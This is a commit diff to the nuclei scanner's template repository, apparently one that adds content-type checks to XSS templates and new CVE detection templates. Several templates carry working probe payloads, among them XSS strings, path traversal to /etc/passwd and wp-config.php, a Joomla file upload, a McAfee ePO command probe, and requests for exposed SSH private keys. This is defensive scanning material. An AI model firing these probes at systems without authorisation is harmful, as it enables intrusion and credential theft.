Adding content type checks for XSS templates

Delete CVE-2019-11043.yaml

.github/scripts/README.tmpl

@@ -22,7 +22,7 @@ An overview of the nuclei template directory including number of templates and H
 | dns | {countTpl("dns")} | fuzzing | {countTpl("fuzzing")} |
 | generic-detections | {countTpl("generic-detections")} | default-credentials | {countTpl("default-credentials")} |
 | subdomain-takeover | {countTpl("subdomain-takeover")} | payloads | {countTpl("payloads")} |
-| wordlists | {countTpl("wordlists")} |
+| wordlists | {countTpl("wordlists")} | misc | {countTpl("misc")} |
 
 
 ### Nuclei templates `{version}` tree overview

.github/workflows/update-readme.yml

@@ -11,6 +11,7 @@ on:
 jobs:
   build:
     runs-on: ubuntu-latest
+    if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
       - name: Install tree
         run: sudo apt-get install tree -y

.nuclei-ignore

@@ -2,6 +2,8 @@
 cves/CVE-2017-7529.yaml
 cves/CVE-2020-13379.yaml
 cves/CVE-2013-2251.yaml
+cves/CVE-2020-16139.yaml
+cves/CVE-2019-15858.yaml
 vulnerabilities/x-forwarded-host-injection.yaml
 fuzzing/
 wordlists/

README.md

@@ -11,21 +11,21 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
 
 An overview of the nuclei template directory including number of templates and HTTP request associated with each directory. 
 
-### Nuclei templates `v7.2.7` overview
+### Nuclei templates `v7.3.1` overview
 
 | Templates | Counts | Templates | Counts |
 |----|----|----|----|
-| cves | 138 | files | 41 |
-| vulnerabilities | 39 | panels | 40 |
+| cves | 141 | files | 43 |
+| vulnerabilities | 40 | panels | 45 |
 | technologies | 40 | security-misconfiguration | 24 |
 | workflows | 16 | tokens | 8 |
 | dns | 6 | fuzzing | 6 |
 | generic-detections | 3 | default-credentials | 3 |
 | subdomain-takeover | 2 | payloads | 2 |
-| wordlists | 1 |
+| wordlists | 1 | misc | 13 |
 
 
-### Nuclei templates `v7.2.7` tree overview
+### Nuclei templates `v7.3.1` tree overview
 
 <details>
 <summary> Nuclei templates </summary>
@@ -71,10 +71,10 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2018-7490.yaml
 │   ├── CVE-2019-1010287.yaml
 │   ├── CVE-2019-10475.yaml
-│   ├── CVE-2019-11043.yaml
 │   ├── CVE-2019-11248.yaml
 │   ├── CVE-2019-11510.yaml
 │   ├── CVE-2019-11580.yaml
+│   ├── CVE-2019-11581.yaml
 │   ├── CVE-2019-12314.yaml
 │   ├── CVE-2019-12461.yaml
 │   ├── CVE-2019-12593.yaml
@@ -84,7 +84,6 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2019-14974.yaml
 │   ├── CVE-2019-15043.yaml
 │   ├── CVE-2019-15107.yaml
-│   ├── CVE-2019-15858.yaml
 │   ├── CVE-2019-16278.yaml
 │   ├── CVE-2019-1653.yaml
 │   ├── CVE-2019-16662.yaml
@@ -123,6 +122,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-10204.yaml
 │   ├── CVE-2020-11034.yaml
 │   ├── CVE-2020-1147.yaml
+│   ├── CVE-2020-11738.yaml
 │   ├── CVE-2020-12116.yaml
 │   ├── CVE-2020-12720.yaml
 │   ├── CVE-2020-13167.yaml
@@ -141,6 +141,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-17506.yaml
 │   ├── CVE-2020-2096.yaml
 │   ├── CVE-2020-2140.yaml
+│   ├── CVE-2020-23972.yaml
 │   ├── CVE-2020-24223.yaml
 │   ├── CVE-2020-24312.yaml
 │   ├── CVE-2020-2551.yaml
@@ -148,6 +149,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-26214.yaml
 │   ├── CVE-2020-3187.yaml
 │   ├── CVE-2020-3452.yaml
+│   ├── CVE-2020-4463.yaml
 │   ├── CVE-2020-5284.yaml
 │   ├── CVE-2020-5405.yaml
 │   ├── CVE-2020-5410.yaml
@@ -157,6 +159,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── CVE-2020-5902.yaml
 │   ├── CVE-2020-6287.yaml
 │   ├── CVE-2020-7209.yaml
+│   ├── CVE-2020-7318.yaml
 │   ├── CVE-2020-7961.yaml
 │   ├── CVE-2020-8091.yaml
 │   ├── CVE-2020-8115.yaml
@@ -199,6 +202,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── filezilla.yaml
 │   ├── firebase-detect.yaml
 │   ├── git-config.yaml
+│   ├── htpasswd-detection.yaml
 │   ├── jkstatus-manager.yaml
 │   ├── jolokia.yaml
 │   ├── laravel-env.yaml
@@ -208,6 +212,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── phpinfo.yaml
 │   ├── public-tomcat-instance.yaml
 │   ├── redmine-db-config.yaml
+│   ├── server-private-keys.yaml
 │   ├── server-status-localhost.yaml
 │   ├── shell-history.yaml
 │   ├── sql-dump.yaml
@@ -246,6 +251,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── ntlm-directories.yaml
 │   ├── robots.txt.yaml
 │   ├── security.txt.yaml
+│   ├── trace-method.yaml
 │   ├── unencrypted-bigip-ltm-cookie.yaml
 │   ├── wp-xmlrpc.yaml
 │   └── xml-schema-detect.yaml
@@ -255,13 +261,17 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── atlassian-crowd-panel.yaml
 │   ├── cisco-asa-panel.yaml
 │   ├── citrix-adc-gateway-detect.yaml
+│   ├── citrix-vpn-detect.yaml
 │   ├── compal.yaml
 │   ├── crxde.yaml
 │   ├── docker-api.yaml
 │   ├── fortinet-fortigate-panel.yaml
+│   ├── github-enterprise-detect.yaml
+│   ├── gitlab-detect.yaml
 │   ├── globalprotect-panel.yaml
 │   ├── go-anywhere-client.yaml
 │   ├── grafana-detect.yaml
+│   ├── identityguard-selfservice-entrust.yaml
 │   ├── iomega-lenovo-emc-shared-nas-detect.yaml
 │   ├── jenkins-asyncpeople.yaml
 │   ├── jmx-console.yaml
@@ -270,6 +280,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── mobileiron-login.yaml
 │   ├── netscaler-gateway.yaml
 │   ├── network-camera-detect.yaml
+│   ├── oipm-detect.yaml
 │   ├── parallels-html-client.yaml
 │   ├── phpmyadmin-panel.yaml
 │   ├── polycom-admin-detect.yaml
@@ -326,12 +337,10 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── artica-web-proxy-detect.yaml
 │   ├── basic-auth-detection.yaml
 │   ├── bigip-config-utility-detect.yaml
-│   ├── citrix-vpn-detect.yaml
+│   ├── cacti-detect.yaml
 │   ├── clockwork-php-page.yaml
 │   ├── couchdb-detect.yaml
 │   ├── favicon-detection.yaml
-│   ├── github-enterprise-detect.yaml
-│   ├── gitlab-detect.yaml
 │   ├── google-storage.yaml
 │   ├── graphql.yaml
 │   ├── home-assistant.yaml
@@ -344,12 +353,14 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── linkerd-ssrf-detect.yaml
 │   ├── lotus-domino-version.yaml
 │   ├── magmi-detect.yaml
+│   ├── mrtg-detect.yaml
 │   ├── netsweeper-webadmin-detect.yaml
 │   ├── nifi-detech.yaml
 │   ├── oidc-detect.yaml
 │   ├── pi-hole-detect.yaml
 │   ├── prometheus-exporter-detect.yaml
 │   ├── prometheus-exposed-panel.yaml
+│   ├── prtg-detect.yaml
 │   ├── redmine-cli-detect.yaml
 │   ├── s3-detect.yaml
 │   ├── sap-netweaver-as-java-detect.yaml
@@ -380,6 +391,7 @@ An overview of the nuclei template directory including number of templates and H
 │   ├── eclipse-help-system-xss.yaml
 │   ├── git-config-nginxoffbyslash.yaml
 │   ├── ibm-infoprint-directory-traversal.yaml
+│   ├── mcafee-epo-rce.yaml
 │   ├── microstrategy-ssrf.yaml
 │   ├── mida-eframework-xss.yaml
 │   ├── moodle-filter-jmol-lfi.yaml
@@ -434,7 +446,7 @@ An overview of the nuclei template directory including number of templates and H
 
 </details>
 
-**16 directories, 383 files**.
+**16 directories, 395 files**.
 
 Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 
 

cves/CVE-2017-7391.yaml

@@ -22,4 +22,9 @@ requests:
       - type: word
         words:
           - '"><script>alert(document.domain);</script><'
-        part: body
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/CVE-2018-2791.yaml

@@ -9,8 +9,15 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/servlet/Satellite?destpage=%22%3Ch1xxx%3Cscriptalert(1)%3C%2Fscript&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError"
+
+    matchers-condition: and
     matchers:
       - type: word
         words:
           - "<h1xxx<scriptalert(1)</script"
         part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/CVE-2019-10475.yaml

@@ -18,3 +18,8 @@ requests:
         words:
           - "<svg/onload=alert(1337)>"
         part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/CVE-2019-11043.yaml

@@ -1,18 +0,0 @@
-id: cve-2019-11043
-
-info:
-  name: PHP-FPM & nginx RCE
-  author: geeknik
-  severity: high
-  description: https://github.com/neex/phuip-fpizdam
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/?a=/bin/sh+-c+'which+which'&"
-
-    matchers:
-      - type: word
-        words:
-          - "/bin/which"
-        part: body

cves/CVE-2019-11581.yaml

@@ -0,0 +1,38 @@
+id: CVE-2019-11581
+
+info:
+  name: Atlassian Jira template injection
+  description: There was a server-side template injection vulnerability in Jira Server and Data Center, in the ContactAdministrators and the SendBulkMail actions. An attacker is able to remotely execute code on systems that run a vulnerable version of Jira Server or Data Center. All versions of Jira Server and Data Center from 4.4.0 before 7.6.14, from 7.7.0 before 7.13.5, from 8.0.0 before 8.0.3, from 8.1.0 before 8.1.2, and from 8.2.0 before 8.2.3 are affected by this vulnerability.
+  author: ree4pwn
+  severity: critical
+  reference: https://github.com/jas502n/CVE-2019-11581
+  product: Jira
+
+  # This is detection template only, use the referenced link for the exploitation.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/secure/ContactAdministrators!default.jspa"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "\\(v4\\.4\\."
+          - "\\(v5\\."
+          - "\\(v6\\."
+          - "\\(v7\\.[012345789]\\."
+          - "\\(v7\\.1[0-2]\\."
+          - "\\(v7\\.6\\.([0-9]|[1][0-3])"
+          - "\\(v7\\.\\13\\.[0-4]"
+          - "\\(v8\\.0\\.[0-2]"
+          - "\\(v8\\.1\\.[0-1]"
+          - "\\(v8\\.2\\.[0-2]"
+        condition: or
+        part: body
+
+      - type: word
+        words:
+          - "Contact Site Administrators"
+        part: body

cves/CVE-2019-12461.yaml

@@ -23,3 +23,7 @@ requests:
         words:
           - '"</script><script>alert(document.domain);</script><script>'
         part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/CVE-2019-12725.yaml

@@ -9,7 +9,7 @@ info:
     found in ZeroShell 3.9.0 in the "/cgi-bin/kerbynet" url.
     As sudo is configured to execute /bin/tar without a password (NOPASSWD)
     it is possible to run root commands using the "checkpoint" tar options.
-  references:
+  references: |
     - https://www.tarlogic.com/advisories/zeroshell-rce-root.txt
     - https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py
 
@@ -24,4 +24,4 @@ requests:
           - 200
       - type: regex
         regex:
-          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
+          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"

cves/CVE-2019-15858.yaml

@@ -1,29 +0,0 @@
-id: cve-2019-15858
-
-info:
-  name: Unauthenticated Woody Ad Snippets WordPress Plugin RCE
-  author: dwisiswant0
-  severity: high
-  description: |
-    This template supports the detection part only. See references.
-
-    admin/includes/class.import.snippet.php in the "Woody ad snippets" plugin
-    before 2.2.5 for WordPress allows unauthenticated options import,
-    as demonstrated by storing an XSS payload for remote code execution.
-
-    Source/References:
-    - https://github.com/GeneralEG/CVE-2019-15858
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/wp-content/plugins/insert-php/readme.txt"
-    matchers-condition: and
-    matchers:
-      - type: status
-        status:
-          - 200
-      - type: word
-        words:
-          - "2.2.5"
-        part: body

cves/CVE-2020-11738.yaml

@@ -0,0 +1,39 @@
+id: cve-2020-11738
+
+info:
+  name: WordPress Duplicator plugin Directory Traversal
+  author: dwisiswant0
+  severity: high
+  description: |
+    The issue is being actively exploited, and allows attackers
+    to download arbitrary files, such as the wp-config.php file.
+    According to the vendor, the vulnerability was only in two
+    versions v1.3.24 and v1.3.26, the vulnerability wasn't
+    present in versions 1.3.22 and before.
+
+    References:
+    - https://www.tenable.com/blog/duplicator-wordpress-plugin-vulnerability-exploited-in-the-wild
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
+      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=%2F..%2Fwp-config.php"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "File Transfer"
+          - "application/octet-stream"
+          - "attachment; filename=\"(wp-config\\.php|passwd)\""
+        condition: and
+        part: header
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "define\\('DB_(NAME|USER|PASSWORD|HOST|CHARSET|COLLATE)'"
+        condition: or
+        part: body

cves/CVE-2020-2140.yaml

@@ -20,6 +20,11 @@ requests:
           - <h1>sample
         part: body
 
+      - type: word
+        words:
+          - "text/html"
+        part: header
+
       - type: status
         status:
           - 200

cves/CVE-2020-23972.yaml

@@ -0,0 +1,48 @@
+id: cve-2020-23972
+
+info:
+  name: Joomla! Component GMapFP 3.5 - Unauthenticated Arbitrary File Upload
+  author: dwisiswant0
+  severity: high
+  description: |
+    An attacker can access the upload function of the application
+    without authenticating to the application and also can upload
+    files due the issues of unrestricted file upload which can be
+    bypassed by changing Content-Type & name file too double ext.
+
+  # Source: https://www.exploit-db.com/exploits/49129
+
+requests:
+  - payloads:
+      component:
+        - "com_gmapfp"
+        - "comgmapfp"
+    raw:
+      - |
+        POST /index.php?option=§component§&controller=editlieux&tmpl=component&task=upload_image HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+        Referer: {{BaseURL}}
+        Connection: close
+
+        ------WebKitFormBoundarySHHbUsfCoxlX1bpS
+        Content-Disposition: form-data; name="option"
+
+        com_gmapfp
+        ------WebKitFormBoundarySHHbUsfCoxlX1bpS
+        Content-Disposition: form-data; name="image1"; filename="nuclei.html.gif"
+        Content-Type: text/html
+
+        projectdiscovery
+
+        ------WebKitFormBoundarySHHbUsfCoxlX1bpS
+        Content-Disposition: form-data; name="no_html"
+
+        no_html
+        ------WebKitFormBoundarySHHbUsfCoxlX1bpS--
+    extractors:
+      - type: regex
+        part: body
+        regex:
+          - "window\\.opener\\.(changeDisplayImage|addphoto)\\(\"(.*?)\"\\);"

cves/CVE-2020-24223.yaml

@@ -21,4 +21,8 @@ requests:
       - type: word
         words:
           - '"><script>alert(document.domain)</script>'
-        part: body
+        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/CVE-2020-4463.yaml

@@ -0,0 +1,41 @@
+id: cve-2020-4463
+
+info:
+  name: IBM Maximo Asset Management Information Disclosure via XXE
+  author: dwisiswant0
+  severity: high
+  description: |
+    IBM Maximo Asset Management is vulnerable to an
+    XML External Entity Injection (XXE) attack when processing XML data.
+    A remote attacker could exploit this vulnerability to expose
+    sensitive information or consume memory resources.
+
+    References:
+    - https://www.ibm.com/support/pages/security-bulletin-ibm-maximo-asset-management-vulnerable-information-disclosure-cve-2020-4463
+    - https://github.com/Ibonok/CVE-2020-4463
+
+  # This is detection template, use the referenced poc for the exploitation.
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/os/mxperson"
+      - "{{BaseURL}}/meaweb/os/mxperson"
+    body: |
+      <?xml version='1.0' encoding='UTF-8'?>
+      <max:QueryMXPERSON xmlns:max='http://www.ibm.com/maximo'>
+        <max:MXPERSONQuery></max:MXPERSONQuery>
+      </max:QueryMXPERSON>
+    headers:
+      Content-Type: application/xml
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/xml"
+        part: header
+      - type: word
+        words:
+          - "QueryMXPERSONResponse"
+          - "MXPERSONSet"
+        part: body

cves/CVE-2020-7318.yaml

@@ -0,0 +1,41 @@
+id: cve-2020-7318
+
+info:
+  name: McAfee ePolicy Orchestrator Reflected XSS
+  author: dwisiswant0
+  severity: medium
+  description: |
+    Cross-Site Scripting vulnerability in McAfee ePolicy Orchestrator (ePO)
+    prior to 5.10.9 Update 9 allows administrators to inject arbitrary web
+    script or HTML via multiple parameters where the administrator's entries
+    were not correctly sanitized.
+
+    References:
+    - https://swarm.ptsecurity.com/vulnerabilities-in-mcafee-epolicy-orchestrator/
+
+requests:
+  - payloads:
+      port:
+        - "80"
+        - "443"
+        - "8443"
+    raw:
+      - |
+        GET /PolicyMgmt/policyDetailsCard.do?poID=19&typeID=3&prodID=%27%22%3E%3Csvg%2fonload%3dalert(document.domain)%3E HTTP/1.1
+        Host: {{Hostname}}:§port§
+        Connection: close
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "text/html"
+        part: header
+      - type: word
+        words:
+          - "Policy Name"
+          - "'\"><svg/onload=alert(document.domain)>"
+        condition: and
+        part: body

cves/CVE-2020-8512.yaml

@@ -23,3 +23,7 @@ requests:
       - type: status
         status:
           - 200
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/CVE-2020-9344.yaml

@@ -27,3 +27,8 @@ requests:
       - type: status
         status:
           - 200
+
+      - type: word
+        words:
+          - "text/html"
+        part: header

files/htpasswd-detection.yaml

@@ -0,0 +1,23 @@
+id: htpasswd
+
+info:
+  name: Detect exposed .htpasswd files
+  author: geeknik
+  severity: info
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.htpasswd"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - ":{SHA}"
+          - ":$apr1$"
+          - ":$2y$"
+        condition: or
+
+      - type: status
+        status:
+          - 200

files/server-private-keys.yaml

@@ -0,0 +1,37 @@
+id: server-private-keys
+
+info:
+  name: Detect Private SSH and TLS Keys
+  author: geeknik
+  severity: high
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/host.key"
+      - "{{BaseURL}}/www.key"
+      - "{{BaseURL}}/private-key"
+      - "{{BaseURL}}/privatekey.key"
+      - "{{BaseURL}}/server.key"
+      - "{{BaseURL}}/my.key"
+      - "{{BaseURL}}/key.pem"
+      - "{{BaseURL}}/id_rsa"
+      - "{{BaseURL}}/id_dsa"
+      - "{{BaseURL}}/.ssh/id_rsa"
+      - "{{BaseURL}}/.ssh/id_dsa"
+      - "{{BaseURL}}/{{Hostname}}.key"
+      - "{{BaseURL}}/{{Hostname}}.pem"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "BEGIN OPENSSH PRIVATE KEY"
+          - "BEGIN PRIVATE KEY"
+          - "BEGIN RSA PRIVATE KEY"
+          - "BEGIN DSA PRIVATE KEY"
+          - "BEGIN EC PRIVATE KEY"
+        condition: or
+
+      - type: status
+        status:
+          - 200

files/shell-history.yaml

@@ -2,9 +2,9 @@ id: shell-history
 
 info:
   name: Shell History
-  author: pentest_swissky
+  author: pentest_swissky & geeknik
   severity: low
-  description: Discover history for bash and zsh file.
+  description: Discover history for bash, ksh, sh, and zsh
 
 requests:
   - method: GET
@@ -12,6 +12,8 @@ requests:
     max-redirects: 5
     path:
       - "{{BaseURL}}/.bash_history"
+      - "{{BaseURL}}/.ksh_history"
+      - "{{BaseURL}}/.sh_history"
       - "{{BaseURL}}/.zsh_history"
 
     matchers-condition: and
@@ -21,4 +23,4 @@ requests:
           - "chmod "
       - type: status
         status:
-          - 200
+          - 200

generic-detections/basic-xss-prober.yaml

@@ -21,6 +21,5 @@ requests:
 
       - type: word
         words:
-          - "application/json"
+          - "text/html"
         part: header
-        negative: true

generic-detections/top-15-xss.yaml

@@ -27,6 +27,5 @@ requests:
 
       - type: word
         words:
-          - "application/json"
+          - "text/html"
         part: header
-        negative: true

misc/trace-method.yaml

@@ -0,0 +1,32 @@
+id: HTTP-TRACE
+
+info:
+  name: HTTP TRACE method enabled
+  author: nodauf
+  severity: info
+
+  # References:
+  # - https://www.blackhillsinfosec.com/three-minutes-with-the-http-trace-method/
+
+requests:
+  - method: TRACE
+    path:
+      - "{{BaseURL}}/"
+
+    matchers:
+      - type: word
+        name: trace-request
+        words:
+          - "TRACE / HTTP"
+        part: body
+
+  - method: OPTIONS
+    path:
+      - "{{BaseURL}}/"
+
+    matchers:
+      - type: regex
+        name: options-request
+        regex:
+          - "(?i)Allow: [A-Z,]*TRACE"
+        part: header

panels/identityguard-selfservice-entrust.yaml

@@ -0,0 +1,19 @@
+id: identityguard-selfservice-entrust
+
+info:
+  name: IdentityGuard Self-Service by Entrust
+  author: nodauf
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/IdentityGuardSelfService/"
+      - "{{BaseURL}}/IdentityGuardSelfService/images/favicon.ico"
+
+    redirects: true
+    max-redirects: 2
+    matchers:
+      - type: dsl
+        dsl:
+          - "contains(body_1,'IdentityGuard Self-Service') || (\"-1060264737\" == mmh3(base64_py(body_2)))"

panels/oipm-detect.yaml

@@ -0,0 +1,14 @@
+id: oipm-detect
+info:
+  name: One Identity Password Manager detection
+  author: nodauf
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/PMUser/'
+    matchers:
+      - type: word
+        words:
+          - "One Identity Password Manager"

panels/pulse-secure-panel.yaml

@@ -16,7 +16,7 @@ requests:
           - "/dana-na/auth/welcome.cgi"
         part: header
 
-      - type: word
-        words:
-          - "/dana-na/css/ds.css"
-        part: body
+      - type: regex
+        regex:
+          - "(?i)/dana-na/css/ds(_[a-f0-9]{64})?.css"
+        part: body

technologies/cacti-detect.yaml

@@ -0,0 +1,35 @@
+id: cacti-detect
+info:
+  name: Detect Cacti
+  author: geeknik
+  description: Cacti is a complete network graphing solution -- https://www.cacti.net/
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+      - "{{BaseURL}}/cacti/"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        part: body
+        words:
+          - "Login to Cacti"
+          - "The Cacti Group"
+        condition: and
+
+      - type: regex
+        part: header
+        regex:
+          - Cacti+
+
+    extractors:
+      - type: kval
+        part: header
+        kval:
+          - Set-Cookie

technologies/favicon-detection.yaml

@@ -4,13 +4,12 @@ info:
   name: favicon-detection
   severity: info
   author: un-fmunozs
-
-  # Reference:-
-  # https://twitter.com/brsn76945860/status/1171233054951501824
-  # https://gist.github.com/yehgdotnet/b9dfc618108d2f05845c4d8e28c5fc6a
-  # https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139
-  # https://github.com/devanshbatham/FavFreak
-  # https://github.com/sansatart/scrapts/blob/master/shodan-favicon-hashes.csv
+  reference: |
+    - https://twitter.com/brsn76945860/status/1171233054951501824
+    - https://gist.github.com/yehgdotnet/b9dfc618108d2f05845c4d8e28c5fc6a
+    - https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139
+    - https://github.com/devanshbatham/FavFreak
+    - https://github.com/sansatart/scrapts/blob/master/shodan-favicon-hashes.csv
 
 requests:
   - method: GET
@@ -2021,3 +2020,7 @@ requests:
         name: "dvr"
         dsl:
           - "status_code==200 && (\"400100893\" == mmh3(base64_py(body)))"
+      - type: dsl
+        name: "One Identity Password Manager"
+        dsl:
+          - "status_code==200 && (\"983384876\" == mmh3(base64_py(body)))"

technologies/mrtg-detect.yaml

@@ -0,0 +1,25 @@
+id: mrtg-detect
+info:
+  name: Detect MRTG
+  author: geeknik
+  description: The Multi Router Traffic Grapher -- https://oss.oetiker.ch/mrtg/
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+      - "{{BaseURL}}/mrtg/"
+      - "{{BaseURL}}/MRTG/"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        part: body
+        words:
+          - "MRTG Index Page"
+          - "Multi Router Traffic Grapher"
+        condition: and

technologies/prtg-detect.yaml

@@ -0,0 +1,35 @@
+id: prtg-detect
+info:
+  name: Detect PRTG
+  author: geeknik
+  description: Monitor all the systems, devices, traffic, and applications in your IT infrastructure -- https://www.paessler.com/prtg
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.htm"
+      - "{{BaseURL}}/prtg/index.htm"
+      - "{{BaseURL}}/PRTG/index.htm"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        part: body
+        words:
+          - "PRTG Network Monitor"
+        condition: and
+
+      - type: regex
+        part: header
+        regex:
+          - PRTG
+
+    extractors:
+      - type: kval
+        part: header
+        kval:
+          - Server

technologies/tech-detect.yaml

@@ -2731,4 +2731,13 @@ requests:
         name: awselb
         regex:
           - 'awselb'
-        part: header
+        part: header
+
+      - type: word
+        name: pfsense
+        words:
+          - "Login to pfSense"
+          - "<title>pfSense - Login</title>"
+          - "maintained by Netgate"
+        part: body
+        condition: and

vulnerabilities/eclipse-help-system-xss.yaml

@@ -20,3 +20,7 @@ requests:
         words:
           - "<script>alert(document.cookie)</script>"
         part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header

vulnerabilities/mcafee-epo-rce.yaml

@@ -0,0 +1,34 @@
+id: mcafee-epo-rce
+
+info:
+  name: McAfee ePolicy Orchestrator RCE
+  author: dwisiswant0
+  severity: high
+  description: |
+    A ZipSlip vulnerability in McAfee ePolicy Orchestrator (ePO)
+    is a type of Path Traversal occurring when archives are unpacked
+    if the names of the packed files are not properly sanitized.
+    An attacker can create archives with files containing “../” in their names,
+    making it possible to upload arbitrary files
+    to arbitrary directories or overwrite existing ones during archive extraction.
+
+    References:
+    - https://swarm.ptsecurity.com/vulnerabilities-in-mcafee-epolicy-orchestrator/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/stat.jsp?cmd=chcp+437+%7c+dir"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "text/html"
+        part: header
+      - type: regex
+        regex:
+          - "Volume (in drive [A-Z]|Serial Number) is"
+        part: body

vulnerabilities/sick-beard-xss.yaml

@@ -21,4 +21,8 @@ requests:
       - type: word
         words:
           - <svg/onload=alert(document.domain)>
-        part: body
+        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header

vulnerabilities/tikiwiki-reflected-xss.yaml

@@ -20,4 +20,8 @@ requests:
       - type: word
         words:
           - "<script>alert(31337)</script>"
-        part: body
+        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header

vulnerabilities/wems-manager-xss.yaml

@@ -22,3 +22,7 @@ requests:
         words:
           - '"><script>confirm(document.domain)</script>'
         part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header

vulnerabilities/wordpress-wordfence-xss.yaml

@@ -9,8 +9,13 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/wp-content/plugins/wordfence/lib/diffResult.php?file=%22%3E%3Csvg%2Fonload%3Dalert(1337)%3E"
+    matchers-condition: and
     matchers:
       - type: word
         words:
           - "<svg/onload=alert(1337)>"
-        part: body
+        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header

workflows/jira-workflow.yaml

@@ -20,6 +20,7 @@ workflows:
       - template: cves/CVE-2019-8442.yaml
       - template: cves/CVE-2019-8449.yaml
       - template: cves/CVE-2019-8451.yaml
+      - template: cves/CVE-2019-11581.yaml
       - template: cves/CVE-2020-14179.yaml
       - template: cves/CVE-2020-14181.yaml
       - template: security-misconfiguration/jira-service-desk-signup.yaml